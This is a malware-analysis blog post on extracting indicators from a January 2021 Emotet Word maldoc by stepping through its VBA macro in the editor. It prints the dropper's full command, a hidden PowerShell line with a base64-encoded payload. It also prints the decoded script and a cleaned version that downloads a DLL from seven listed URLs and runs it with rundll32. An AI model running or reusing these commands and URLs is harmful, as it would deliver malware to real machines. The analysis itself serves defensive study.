Tool-Less Extraction of IOCs from an Emotet Maldoc

This blog post covers how to examine and extract the underlying payload from a recent Emotet delivery campaign. We will cover how to use basic dynamic analysis to quickly step over VBA obfuscation.

Initial Overview of the Sample

For the purpose of this blog we will be working through a recent (22 Jan 2021) Emotet maldoc which was uploaded to any.run:

As seen in the any.run execution playback, upon opening the document the user is presented with a fairly standard message which encourages the user to enable macro's which will allow the document payload to execute.

Although we could use tools like OLETools or ViperMonkey to extract the underlying macro from the document and analyse it, Emotet payloads tend to be heavily obfuscated to hinder analysis, and also commonly reference document elements which makes them challenging to analyse outside of the source document.

For the purpose of this blog post we will take a manual approach to analysis, this has the benefit of covering techniques which will be applicable to a wider variety of samples.

Examining the Macro Code

Regardless of the obfuscation technique that's used, we can typically rely on Word's inbuilt VBA editor to step through the macro code and set breakpoints on interesting lines. Upon opening the maldoc in word (in our malware analysis environment) we are met with Words compatibility view and limited actions until we enable Macro's:

A useful tip to view the macro without enabling them first is to press Alt + F11to jump to the VBA editor window:

Now that we can view the VBA code we can see that it's not only obfuscated but also quite lengthy (443 lines). This length is typically due to malware authors adding additional unneeded code to make analysis more challenging and time consuming.

Although the code is obfuscated, there are typically VBA function calls which are important to maldoc execution that can't be easily obfuscated. Example of such function calls are .shell , .execute and .create. We can use these strings as jump off points to look for interesting areas in the code:

At line 215 we can see a reference to .Create on the Vu_11x18hez object. To progress our analysis we need to view the contents of the three arguments that are passed to this call: nnjasd, Rl1ti2fji75p and T3vin8nf9s1bh9qa1s.

Instead of manually working out the values of these variables, we can use breakpoints to pause execution at line 215 and print out the contents of the three variables just before. We can do this by right clicking on line 215 and choosing Toggle->Breakpoint, and also adding three instances of Print.Debug() above this line to show the contents of the interesting variables:

The last step is run the macro (the green play button at the top) and hope that we hit the breakpoint on .Create before the maldoc fully executes:

it looks like we forgot one step before executing the macro. As we used the Alt+F11 trick to view the VBA code without enabling macro's for the document, we now can't execute the the macro. To get around this issue we can remove the trigger that the macro uses to auto execute when the document opens.

Selecting the document in the Project browser on the left side of the editor allow us to spot the Document_open() function which will execute the Fwevp6c2ys9d136g function as soon as the document is opened and macro's are enabled:

As we want to control when the macro is run (after we've added our breakpoint and Debug.Print() commands) we can simply remove this section of code, save the document and then enable macros.

After saving your changes to the document and enabling macros, you will need to re-add the breakpoint on line 215

All going well the macro should not execute until we click the play button, at which point we should see our breakpoint line highlighted in yellow to show that execution has paused:

Our Debug.Print() statements will hopefully have output the contents of the nnjasd, Rl1ti2fji75p and T3vin8nf9s1bh9qa1s variables to the immediate windows in the editor. We can view the contents of this window by pressing Ctrl + G:

Success! Can we see the underlying CMD and Powershell commands that the maldoc executes. Although there may be additional functionality stored in the VBA code of the maldoc, we can move onto analysing the powershell script as it likely contains the bulk of the maldoc payload.

The Powershell Payload

cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc JAAxAE0AWgAgACAAPQAgAFsAVAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAC4AaQBvAC4AZABpAFIAJwAsACcAUwB0AGUAbQAnACwAJwBZACcALAAnAHMAJwAsACcAZQBDAFQAbwByAFkAJwApACAAOwAgACAAUwBWACAAIAAxAFYAVABGAGwAMAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADgAfQB7ADUAfQB7ADIAfQB7ADMAfQB7ADQAfQB7ADcAfQB7ADAAfQB7ADEAfQB7ADYAfQAiAC0AZgAgACcAQwBlAHAAbwBJACcALAAnAE4AVAAnACwAJwBtAC4ATgAnACwAJwBlACcALAAnAFQALgAnACwAJwBzAHQAZQAnACwAJwBtAEEATgBhAGcARQBSACcALAAnAHMARQBSAHYAaQAnACwAJwBTAFkAJwApACAAIAApACAAIAA7ACAAIAAkAFkANAB6AHEAbABiAHgAPQAkAFkAMgAxAFEAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFIANAAxAEgAOwAkAFcANQA4AFEAPQAoACcAQQA5ACcAKwAnADIAQQAnACkAOwAgACgAIAAgAGcAQwBpACAAIAAoACcAdgBhAHIAaQBhACcAKwAnAEIAbABFACcAKwAnADoAMQAnACsAJwBNAFoAJwApACAAKQAuAHYAYQBsAFUAZQA6ADoAIgBjAHIARQBBAGAAVABlAGQASQBgAFIARQBDAHQAYABvAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQBoACcAKwAnAEUAUgAnACsAJwB
fAHEAYwA5ACcAKQArACcAcwB0ACcAKwAoACcAbQAnACsAJwBoAEUAUwBwADcAJwArACcAMQB3ADkAJwArACcAZQAnACkAKwAnAG0AJwArACcAaABFACcAKQAgAC0AUgBlAFAATABBAGMARQAgACgAWwBDAGgAYQByAF0AMQAwADkAKwBbAEMAaABhAHIAXQAxADAANAArAFsAQwBoAGEAcgBdADYAOQApACwAWwBDAGgAYQByAF0AOQAyACkAKQA7ACQASgAzAF8AQQA9ACgAJwBGACcAKwAoACcAMAAwACcAKwAnAEMAJwApACkAOwAgACgAZABpAHIAIABWAGEAcgBJAGEAQgBMAEUAOgAxAFYAVABmAGwAMAAgACAAKQAuAHYAYQBsAHUARQA6ADoAIgBzAGUAYwB1AHIASQBUAGAAWQBQAGAAUgBgAE8AYABUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAXwA4AEwAPQAoACcARQAxACcAKwAnADEAUAAnACkAOwAkAEIAcABkAHoAeQA0AGsAIAA9ACAAKAAnAFIANAAnACsAJwA5AEQAJwApADsAJABDADUAMgBEAD0AKAAnAFkANgAnACsAJwBfAEwAJwApADsAJABCAG0AdgAzAGoAbgBjAD0AJABIAE8ATQBFACsAKAAoACgAJwBqAHMAYgBSAF8AJwArACcAcQBjADkAJwArACcAcwAnACkAKwAoACcAdABqACcAKwAnAHMAJwApACsAKAAnAGIAUwAnACsAJwBwADcAMQAnACkAKwAnAHcAOQAnACsAKAAnAGUAagAnACsAJwBzACcAKQArACcAYgAnACkALgAiAHIAYABFAHAATABhAGAAQwBFACIAKAAoACcAagBzACcAKwAnAGIAJwApACwAWwBTAHQAUgBpAG4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEIAcABkAHoAeQ
A0AGsAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMgAxAEIAPQAoACcAVQAnACsAKAAnADUAJwArACcAXwBYACcAKQApADsAJABOAGQAbQB3AGsAXwBjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQATQAzAF8AOQBmAHoAdwA9ACgAKAAnAHgAJwArACcAIABbACcAKwAnACAAcwBoACAAJwApACsAJwBiACcAKwAoACcAOgAnACsAJwAvAC8AbwByAGkAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBwAGEAJwArACgAJwByACcAKwAnAHQALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwBvACcAKQArACcAbgB0ACcAKwAnAGUAbgAnACsAJwB0AC8AJwArACgAJwBhAGMAUwAnACsAJwB0AGwAJwArACcALwAhAHgAIABbACAAJwApACsAKAAnAHMAaAAgAGIAOgAnACsAJwAvACcAKwAnAC8AZgBhAGIANQAnACsAJwBhAHMAJwApACsAJwBzAG8AJwArACcAYwAnACsAKAAnAGkAYQAnACsAJwB0AGUAcwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGkAJwApACsAKAAnAG4AJwArACcAYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQAnACkAKwAoACcALwBzAGMASQAnACsAJwBNACcAKQArACgAJwAvACEAeAAgAFsAIABzACcAKwAnAGgAJwArACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBpAGUALQBiACcAKwAnAGUAcwB0ACcAKwAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBzACcAKwAnAG0AJwApACsAJwA4ADkAJwArACcAMAA5ACcAKwAnAC0AJwArACgAJwBjAHUAcwAnACsAJwB0AG8AJ
wApACsAKAAnAG0ALQAnACsAJwBiACcAKQArACcAZwB0ACcAKwAnAHMANQAnACsAJwAvAGUAJwArACgAJwBvAHMANgAnACsAJwB0ADMASAAvACEAJwApACsAJwB4ACAAJwArACgAJwBbACAAJwArACcAcwAnACkAKwAoACcAaAAgAGIAOgAvAC8AcwAnACsAJwBsAG8AdwBkACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAYwBoAC4AJwApACsAJwBuACcAKwAnAGUAJwArACcAdAAnACsAKAAnAC8AcwAnACsAJwBoAG8AcAAnACsAJwAvAHcAJwApACsAKAAnAEwAWgAnACsAJwA0ACcAKQArACgAJwB5AHcALwAhAHgAJwArACcAIAAnACsAJwBbACAAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwAgACcAKwAnAGIAOgAvAC8AJwApACsAKAAnAGkAZQBiACcAKwAnAGUAJwApACsAJwBzAHQAJwArACgAJwAuAG8AbgBsAGkAbgBlAC8AMQAnACsAJwA5ADkANwAnACsAJwAtAGMAaABlAHYAJwArACcAeQAtAGEAJwApACsAJwBpAHoAJwArACgAJwAwADAALwAnACsAJwBSACcAKQArACgAJwBGACcAKwAnAHIAVABFACcAKQArACcANgAnACsAJwA4ACcAKwAoACcALwAnACsAJwAhAHgAJwApACsAKAAnACAAWwAgAHMAJwArACcAaAAnACsAJwAgACcAKQArACgAJwBiACcAKwAnADoALwAvACcAKQArACgAJwBzAGkAJwArACcAbgAnACkAKwAnAGcAJwArACgAJwBsAGUAdwBvACcAKwAnAHIAbABkAC0AJwApACsAJwBvACcAKwAnAG4AJwArACgAJwBsAGkAJwArACcAbgBlAC4AJwApACsAKAAnAGMAbwBtAC8AaQBtAGcAJwArACcALwAnACkAKwAoACcARAAnACsAJwBlAGUAQQB0ACcA
KQArACcALwAnACsAKAAnACEAJwArACcAeAAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACcAKwAnACAAYgAnACkAKwAoACcAOgAnACsAJwAvAC8AaQAnACkAKwAnAGUAYgAnACsAJwBlACcAKwAoACcAcwAnACsAJwB0AC4AJwArACcAbwByAGcALwAnACkAKwAoACcAaABvACcAKwAnAGUAZgBsACcAKQArACgAJwBlACcAKwAnAHIALQAnACkAKwAoACcAYgBvACcAKwAnAGwAZAAtAHoAJwApACsAKAAnAGkAJwArACcAZgB5ADQALwAnACkAKwAoACcAaQAnACsAJwBhAC8AJwApACkALgAiAFIARQBwAGAAbABhAGMAZQAiACgAKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzACcAKwAnAGgAIABiACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABOAGQAbQB3AGsAXwBjACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAcABgAEwAaQB0ACIAKAAkAFcAOQAzAEQAIAArACAAJABZADQAegBxAGwAYgB4ACAAKwAgACQAQQA5ADYAQgApADsAJABBADUAMABKAD0AKAAnAFUAOQAnACsAJwA4AEgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBAGoAYQB1ADIAMQBrACAAaQBuACAAJABNADMAXwA5AGYAegB3ACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwBUAEUATQAuAG4AZQBUAC4AdwBlAEIAQwBMAEkARQBuAHQAKQAuACIARABPAFcAYABOAEwAYABvAGEARABGAGkAYABMAEUAIgAoACQAQQBqAGEAdQAyADEAawAsACAAJABCAG0
AdgAzAGoAbgBjACkAOwAkAFIAMQAzAFAAPQAoACcAQQBfACcAKwAnAF8ASwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQgBtAHYAMwBqAG4AYwApAC4AIgBsAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADMAMwA3ADcAMAApACAAewAmACgAJwByAHUAbgBkACcAKwAnAGwAbAAzACcAKwAnADIAJwApACAAJABCAG0AdgAzAGoAbgBjACwAKAAnAEEAJwArACgAJwBuAHkAUwB0ACcAKwAnAHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAFQAYABPAHMAdAByAGkAbgBHACIAKAApADsAJABKADAANgBVAD0AKAAnAEYAJwArACgAJwBfACcAKwAnADEAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgAwADUAVwA9ACgAKAAnAEgAJwArACcAOAA3ACcAKQArACcASgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAOAA2AFgAPQAoACcATgAnACsAKAAnADgANQAnACsAJwBCACcAKQApAA==

The first part of the command is a simple cmd statement which displays a message box on the screen and informs the user that Word experienced an error trying to open the file , this serves as a method to deter the user from wondering why nothing happened after enabling macros.

The powershell command executed after the cmd statement is what we're really interested in, we can see that it executes a base64 argument string so the next step is to decode the arguments:

-> % cat /tmp/encoded | base64 -d | tr ";" "\n"

$1MZ  = [TypE]("{3}{2}{1}{0}{4}"-f'.io.diR','Stem','Y','s','eCTorY') 
SV  1VTFl0  ( [TyPe]("{8}{5}{2}{3}{4}{7}{0}{1}{6}"-f 'CepoI','NT','m.N','e','T.','ste','mANagER','sERvi','SY')  )  
$Y4zqlbx=$Y21Q + [char](33) + $R41H
$W58Q=('A9'+'2A')
(  gCi  ('varia'+'BlE'+':1'+'MZ') ).valUe::"crEA`TedI`RECt`oRY"($HOME + ((('mh'+'ER'+'_qc9')+'st'+('m'+'hESp7'+'1w9'+'e')+'m'+'hE') -RePLAcE ([Char]109+[Char]104+[Char]69),[Char]92))
$J3_A=('F'+('00'+'C'))
(dir VarIaBLE:1VTfl0  ).valuE::"securIT`YP`R`O`TOCOL" = ('Tl'+('s'+'12'))
$E_8L=('E1'+'1P')
$Bpdzy4k = ('R4'+'9D')
$C52D=('Y6'+'_L')
$Bmv3jnc=$HOME+((('jsbR_'+'qc9'+'s')+('tj'+'s')+('bS'+'p71')+'w9'+('ej'+'s')+'b')."r`EpLa`CE"(('js'+'b'),[StRing][cHAR]92))+$Bpdzy4k+'.d' + 'll'
$T21B=('U'+('5'+'_X'))
$Ndmwk_c='h' + 'tt' + 'p'
$M3_9fzw=(('x'+' ['+' sh ')+'b'+(':'+'//ori')+'gi'+'n'+'pa'+('r'+'t.')+('co'+'m/')+('wp-'+'co')+'nt'+'en'+'t/'+('acS'+'tl'+'/!x [ ')+('sh b:'+'/'+'/fab5'+'as')+'so'+'c'+('ia'+'tes.c')+('om'+'/i')+('n'+'cl')+('u'+'de')+('/scI'+'M')+('/!x [ s'+'h'+' '+'b://')+('ie-b'+'est'+'.com'+'/')+('ms'+'m')+'89'+'09'+'-'+('cus'+'to')+('m-'+'b')+'gt'+'s5'+'/e'+('os6'+'t3H/!')+'x '+('[ '+'s')+('h b://s'+'lowd'+'t')+('e'+'ch.')+'n'+'e'+'t'+('/s'+'hop'+'/w')+('LZ'+'4')+('yw/!x'+' '+'[ ')+'s'+'h'+(' '+'b://')+('ieb'+'e')+'st'+('.online/1'+'997'+'-chev'+'y-a')+'iz'+('00/'+'R')+('F'+'rTE')+'6'+'8'+('/'+'!x')+(' [ s'+'h'+' ')+('b'+'://')+('si'+'n')+'g'+('lewo'+'rld-')+'o'+'n'+('li'+'ne.')+('com/img'+'/')+('D'+'eeAt')+'/'+('!'+'x [')+' s'+('h'+' b')+(':'+'//i')+'eb'+'e'+('s'+'t.'+'org/')+('ho'+'efl')+('e'+'r-')+('bo'+'ld-z')+('i'+'fy4/')+('i'+'a/'))."REp`lace"(('x '+'['+(' s'+'h b')),([array]('nj','tr'),'yj','sc',$Ndmwk_c,'wd')[3])."Sp`Lit"($W93D + $Y4zqlbx + $A96B)
$A50J=('U9'+'8H')
foreach ($Ajau21k in $M3_9fzw){try{(&('New'+'-Objec'+'t') sYSTEM.neT.weBCLIEnt)."DOW`NL`oaDFi`LE"($Ajau21k, $Bmv3jnc)
$R13P=('A_'+'_K')
If ((.('Ge'+'t-It'+'em') $Bmv3jnc)."lEN`GTh" -ge 33770) {&('rund'+'ll3'+'2') $Bmv3jnc,('A'+('nySt'+'ri'+'n')+'g')."T`OstrinG"()
$J06U=('F'+('_'+'1V'))
break
$Z05W=(('H'+'87')+'J')}}catch{}}$S86X=('N'+('85'+'B'))

The decoded arguments reveal a slightly obfuscated powershell script which is difficult to fully understand in its current format. However, we can see a few string references which gives us an idea of what the script does:

  • crEATedIRECtoRY - create a directory on the local filesystem

  • sYSTEM.neT.weBCLIEnt.DOWNLoaDFiLE - download a file

  • rund+ll3+2 - execute rundll32 to execute a DLL

To improve the readability of the script we can clean it up a little. For a script of this size we can do it manually by breaking the script down into chunks and using a powershell console to get the de-obfuscated output after execution. After cleaning up the script and adding a little bit of formatting we get the final code below:

$var_1 = ([type]('system.io.directory'))
$var_2 = ([type]("system.net.servicepointmanager")) 
( get-childitem ('variable:var_1') ).value::"createdirectory"($home + '\r_qc9st\sp71w9e\')
( dir variable:var_2 ).value::"securityprotocol" = 'tls12'
$save_location=$home+'\r_qc9st\sp71w9e\r49d.dll'

$urls = (
    "http://originpart.com/wp-content/acstl/",
    "http://fab5associates.com/include/scim/",
    "http://ie-best.com/msm8909-custom-bgts5/eos6t3h/",
    "http://slowdtech.net/shop/wlz4yw/",
    "http://iebest.online/1997-chevy-aiz00/rfrte68/",
    "http://singleworld-online.com/img/deeat/",
    "http://iebest.org/hoefler-bold-zify4/ia/"
)

foreach ($url in $urls)
{
    try{
        (&('new-object') system.net.webclient)."downloadfile"($url, $save_location)
        if ((.('get-item') $save_location)."length" -ge 33770) 
        {
            &rundll32 $save_location,'anystring'
            break
        }
    }
    catch{}
}

The code above is an estimated structure of the original obfuscated code. It may not run correctly in its current form.

Examining the final decoded powershell script we can clearly see the payload of the maldoc. When executed the powershell script will create the directory structure \r_qc9st\sp71w9e under the current users home directory. It will then contact a series of hardcoded domains and attempt to download a DLL which it will store in the previously created directory under the name r49d.dll. Finally the script will attempt to execute the DLL using rundll32. This will launch the second stage of the emotet payload which will be covered in a future blog post.

References

Last updated